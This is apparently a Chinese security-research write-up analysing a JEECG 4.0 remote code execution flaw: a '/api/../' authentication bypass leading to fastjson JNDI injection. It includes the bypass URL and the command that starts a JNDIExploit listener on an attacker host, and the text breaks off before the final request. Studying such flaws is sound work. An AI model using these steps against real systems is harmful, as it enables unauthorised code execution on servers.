1. 漏洞介绍
JEECG(J2EE Code Generation)
是开源的代码生成平台,目前官方已停止维护。
JEECG 4.0
及之前版本中,由于
/api
接口鉴权时未过滤路径遍历,攻击者可构造包含
../
的url绕过鉴权。攻击者可构造恶意请求利用
jeecgFormDemoController.do?interfaceTest
接口进行
jndi
注入攻击实现远程代码执行。
注:Jeecg 与 Jeecg-boot 非相同应用。
Jeccg
官方地址为:
https://gitee.com/jeecg/jeecg
2. 漏洞流程图分析
3. 环境搭建
由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用
IDEA+Maven
搭建,但是始终飘红报错,于是老老实实地按照官方文档使用
eclipse+Maven
环境搭建,我的本地配置如下:
官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933
4. 漏洞详情分析
由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是
1.2.31
,是属于存在漏洞的版本。
感觉
Eclipse
审计起来不太方便,我使用
IDEA
来代替使用来审计。
现在我们已确定了
Fastjson
版本存在问题,进一步寻找触发
Fastjson
的漏洞点。
在审计
Fastjson
漏洞的时候我们着重关注
parseObject
和
parse
这两个
关键词
。我们在
IDEA
中按下
Ctrl+shift+f
进行查找:
发现调用了
JSONObject.parseObject(result)
,发现全都是在
src/main/java/org/jeecgframework/core/util/HttpRequest.java
文件中进行了调用。分别是函数
sendGet(String url, String param)
以及
sendPost(String url, String param)
。
然后继续寻找在哪里调用了这两个函数:
同样的方法,发现在
src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java
中调用了这两个函数:
/**
* 常用示例Demo:接口测试
* @param request
* @param response
* @return AjaxJson
*/
@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
AjaxJson j=new AjaxJson();
try {
String serverUrl = request.getParameter("serverUrl");//请求的地址
String requestBody = request.getParameter("requestBody");//请求的参数
String requestMethod = request.getParameter("requestMethod");//请求的方式
if(requestMethod.equals("POST")){
if(requestBody !=""){
logger.info("----请求接口开始-----");
JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
logger.info("----请求接口结束-----"
+sendPost);
j.setSuccess(true);
j.setObj(sendPost.toJSONString());
}else{
j.setSuccess(false);
j.setObj("请填写请求参数");
}
}
if(requestMethod.equals("GET")){
logger.info("----请求接口开始-----");
JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendGet.toJSONString());
j.setSuccess(true);
j.setObj(sendGet);
}
} catch (Exception e) {
j.setSuccess(false);
j.setObj("服务器请求失败");
e.printStackTrace();
}
return j;
}
这段代码接受三个参数:
serverUrl
、
requestBody
、
requestMethod
。然后根据
requestMethod
的值决定调用不同的方法:
HttpRequest.sendPost
或
HttpRequest.sendGet
。
我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法
bypass
:
然后我们根据漏洞简介定位
/api
未鉴权接口代码:
src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
也就是说对于以
/api/
开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。
加上我们查看引用的
Maven依赖
中的
alwaysUseFullPath
为值默认
false
,这样的话程序在处理发包中会对
uri
进行标准化处理。于是我们就可以使用
/api/../
的方式来进行
bypass
比如说我们的
poc
链接是
/jeecg/api/../jeecgFormDemoController.do?interfaceTest=
然后进行标准化处理后就会变成
/jeecg/jeecgFormDemoController.do?interfaceTest=
从而绕过登录限制。
然后就是针对
fastjson1.2.31
版本的漏洞利用了,这里我使用了集成的工具
JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我们的
Kali
虚拟机(vps作用)上开启监听:
这里因为我的虚拟机上的
java
版本过高,Java 9及以上版本引入了模块化系统,其中的
java.xml
模块不会默认导出
com.sun.org.apache.xalan.internal.xsltc.runtime
包,因此导致
com.feihong.ldap.template.TomcatEchoTemplate
类无法访问
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类。所以通过命令行参数
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
来向模块
java.xml
添加导出指令,使得
com.sun.org.apache.xalan.internal.xsltc.runtime
包能够被未命名模块(
ALL-UNNAMED
)访问。
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131
然后用
python
公开一个
poc.txt
然后直接调用该接口使用下面的
Poc
即可:
POST